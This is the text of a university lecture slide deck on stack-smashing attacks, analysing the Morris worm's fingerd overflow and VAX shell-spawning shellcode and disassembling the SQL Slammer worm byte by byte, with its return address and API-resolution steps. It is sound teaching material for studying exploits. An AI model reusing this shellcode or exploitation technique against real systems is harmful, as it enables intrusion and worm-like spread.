Software Security Smashing the Stack: Real-World Examples Jan Nordholz Prof. Jean-Pierre Seifert Security in Telecommunications TU Berlin SoSe 2014 jan (sect) Software Security SoSe 2014 1 / 24
Example 1: the Morris worm (1988) first (major) internet worm approx. 6000 infected hosts three attack vectors for spreading itself: password guessing (rsh / rexec) sendmail debug feature abuse buffer overflow! jan (sect) Software Security SoSe 2014 2 / 24
Example 1: the Morris worm (1988) Vulnerable application: fingerd network service Finger: ancient service to query user information (back in the days when the internet was not yet open to the general public) hesso@foo: ∼ >finger hesso@bar Login: hesso Name: Jan Nordholz Directory: /home/hesso Shell: /bin/bash Office: TEL 16, (030) 8353-58663 Never logged in. No mail. No Plan. jan (sect) Software Security SoSe 2014 3 / 24
Example 1: the Morris worm (1988) Back then, fingerd was implemented roughly as: read requested username from network socket create subprocess execv(/usr/ucb/finger, { finger, username, NULL } ) read output from subprocess feed said output back over network socket Guess what kind of buffer the ”username” is read into. . . jan (sect) Software Security SoSe 2014 4 / 24
Example 1: the Morris worm (1988) Main bug: usage of gets() NEVER USE THIS FUNCTION. Ever. Reads characters from standard input. . . stops at newline (hex 0x0a). . . but at nothing else! ⇒ Happily reads zero bytes. . . ⇒ No bounds checks! Unless you know what the input data is, you can never say how many bytes gets() is going to read. jan (sect) Software Security SoSe 2014 5 / 24
Example 1: the Morris worm (1988) Payload: very simple. Stdin/stdout are already set up properly, so all it has to do is execve(/bin/sh, ...) . DEC VAX Assembly (stores are left-to-right): ; ’/sh \ 0’ DD8F2F736800 pushl $68732f DD8F2F62696E pushl $6e69622f ; ’/bin’ D05E5A movl sp, r10 ; save pointer to command DD00 pushl $0 ; third parameter DD00 pushl $0 ; second parameter ; push address of ’/bin/sh \ 0’ DD5A pushl r10 DD03 pushl $3 ; number of arguments for chmk D05E5C movl sp, ap ; Argument Pointer register ; = stack pointer BC3B chmk $3b ; change-mode-to-kernel Basically the same as our int $0x80 stuff. jan (sect) Software Security SoSe 2014 6 / 24
Example 2: SQL Slammer / Sapphire (2003) Also called the ”mini worm”. Fits into a single network packet. Attacks a UDP network service (MS SQL Server). UDP = no latency (no waiting for TCP SYN/ACK), source spoofing. . . ⇒ Massive infection wave. Infection vector: Buffer Overflow! jan (sect) Software Security SoSe 2014 7 / 24
Example 2: SQL Slammer / Sapphire (2003) Main bug: string construction into static buffer with sprintf() . Input data is used for a ”%s” conversion. Worm does not contain zero bytes. ⇒ Full worm body spilled onto stack. Construction novelty (compared to our sample code during the last weeks): Actual worm code resides beyond the return pointer. Control is transferred to worm code by borrowing an instruction from a DLL. (We’ll see a much more systematic approach to this technique in a few weeks.) jan (sect) Software Security SoSe 2014 8 / 24
Example 2: SQL Slammer / Sapphire (2003) jan (sect) Software Security SoSe 2014 9 / 24
Example 2: SQL Slammer / Sapphire (2003) Way until the worm gains control: sprintf() overwrites stack with worm return pointer overwritten with 0x42B0C9DC in order to survive until function exit without causing an exception, dummy, but ”safe” arguments are provided (e. g. pointers to 0x42AE7001 ) return pointer points somewhere into sqlsort.dll exact address contains the instruction: 0x42b0c9dc: jmp %esp ⇒ At exit of the vulnerable function: stack is unwound up to the return pointer (violet) return pointer is pop ped, stack pointer thus moves to start of orange area control is transferred to %esp via above carefully selected jump instruction jan (sect) Software Security SoSe 2014 10 / 24
Example 2: SQL Slammer / Sapphire (2003) 81: eb 0e jmp 0x91 ...(dummy arguments) 91: 90 nop ... 98: 90 nop worm jumps forward 14 bytes past its pretense function arguments NOP slide, possibly included for versatility while developing the worm jan (sect) Software Security SoSe 2014 11 / 24
Example 2: SQL Slammer / Sapphire (2003) 99: 68 dc c9 b0 42 push $0x42b0c9dc 9e: b8 01 01 01 01 mov $0x1010101,%eax a3: 31 c9 xor %ecx,%ecx a5: b1 18 mov $0x18,%cl a7: 50 push %eax a8: e2 fd loop 0xa7 aa: 35 01 01 01 05 xor $0x5010101,%eax af: 50 push %eax worm restores its own body (return pointer, padding) last two instructions restore the 0x04 at the start, which is crucial to the exploit (it triggers the vulnerable code path) reason: worm needs to restore itself because vulnerable function has partially clobbered the stack contents jan (sect) Software Security SoSe 2014 12 / 24
Example 2: SQL Slammer / Sapphire (2003) b0: 89 e5 mov %esp,%ebp b2: 51 push %ecx b3: 68 2e 64 6c 6c push $0x6c6c642e b8: 68 65 6c 33 32 push $0x32336c65 bd: 68 6b 65 72 6e push $0x6e72656b ... eb: 66 b9 74 6f mov $0x6f74,%cx ef: 51 push %ecx f0: 68 73 65 6e 64 push $0x646e6573 worm sets frame pointer (easier for dereferencing) worm pushes strings onto the stack: ”kernel32.dll”, ”GetTickCount”, ”ws2 32.dll”, ”socket”, ”sendto” jan (sect) Software Security SoSe 2014 13 / 24
Example 2: SQL Slammer / Sapphire (2003) f5: be 18 10 ae 42 mov $0x42ae1018,%esi fa: 8d 45 d4 lea -0x2c(%ebp),%eax fd: 50 push %eax fe: ff 16 call *(%esi) 100: 50 push %eax worm uses a resolved entry in the IAT of sqlsort.dll . IAT: Import Address Table — cf. PLT (Procedure Linkage Table) on Linux. Recall: PLT entries point to the actual function code in the loaded library (if the symbol has been resolved) or to a stub function in the dynamic linker (which then resolves the symbol and replaces the entry). No address randomization, so library and therefore IAT slot position is known. IAT slot is for ”LoadLibrary” — the equivalent of dlopen() . ⇒ LoadLibrary(ws2 32.dll) . jan (sect) Software Security SoSe 2014 14 / 24
Example 2: SQL Slammer / Sapphire (2003) 101: 8d 45 e0 lea -0x20(%ebp),%eax 104: 50 push %eax 105: 8d 45 f0 lea -0x10(%ebp),%eax 108: 50 push %eax 109: ff 16 call *(%esi) 10b: 50 push %eax first two lines: prepares the argument ”GetTickCount” for later next four lines: uses the same IAT slot for LoadLibrary(kernel32.dll) handle returned by LoadLibrary is stored on the stack jan (sect) Software Security SoSe 2014 15 / 24
Example 2: SQL Slammer / Sapphire (2003) 10c: be 10 10 ae 42 mov $0x42ae1010,%esi 111: 8b 1e mov (%esi),%ebx 113: 8b 03 mov (%ebx),%eax 115: 3d 55 8b ec 51 cmp $0x51ec8b55,%eax 11a: 74 05 je 0x121 11c: be 1c 10 ae 42 mov $0x42ae101c,%esi 121: ff 16 call *(%esi) 123: ff d0 call *%eax worm searches for the IAT slot for ”GetProcAddress”, the Windows equivalent for dlsym() , i. e. dynamic symbol resolution at runtime worm knows two possible IAT slots ⇒ worm ”supports” two different patched versions of SQL server IAT slot is verified by checking the first four instruction bytes of the referenced function body against known prologue finally used to call GetProcAddress(kernel32.dll, GetTickCount) then calls GetTickCount() as seed for PRNG jan (sect) Software Security SoSe 2014 16 / 24
Example 2: SQL Slammer / Sapphire (2003) 125: 31 c9 xor %ecx,%ecx 127: 51 push %ecx 128: 51 push %ecx 129: 50 push %eax 12a: 81 f1 03 01 04 9b xor $0x9b040103,%ecx 130: 81 f1 01 01 01 01 xor $0x1010101,%ecx 136: 51 push %ecx makes room on stack then pushes tick count (EAX register) then pushes 0x9A050002 , which serve as .sin family and .sin port members for the new destination struct in addr (see manpage for ip(7)) tick count serves as .sin addr and is later randomized jan (sect) Software Security SoSe 2014 17 / 24
Example 2: SQL Slammer / Sapphire (2003) 137: 8d 45 cc lea -0x34(%ebp),%eax 13a: 50 push %eax 13b: 8b 45 c0 mov -0x40(%ebp),%eax 13e: 50 push %eax 13f: ff 16 call *(%esi) 141: 6a 11 push $0x11 143: 6a 02 push $0x2 145: 6a 02 push $0x2 147: ff d0 call *%eax 149: 50 push %eax resolves ”socket” using ”GetProcAddress” using the string literal and the opaque handle for ”ws2 32.dll” returned earlier from ”LoadLibrary” calls socket(2, 2, 11) , which symbolically means: socket(AF INET, SOCK DGRAM, IPPROTO UDP) ⇒ new udp socket created jan (sect) Software Security SoSe 2014 18 / 24
Example 2: SQL Slammer / Sapphire (2003) 14a: 8d 45 c4 lea -0x3c(%ebp),%eax 14d: 50 push %eax 14e: 8b 45 c0 mov -0x40(%ebp),%eax 151: 50 push %eax 152: ff 16 call *(%esi) 154: 89 c6 mov %eax,%esi 156: 09 db or %ebx,%ebx 158: 81 f3 3c 61 d9 ff xor $0xffd9613c,%ebx worm resolves ”sendto” from ”ws2 32.dll” function pointer stored into ESI register EBX (improperly) initialized jan (sect) Software Security SoSe 2014 19 / 24
Recommend
More recommend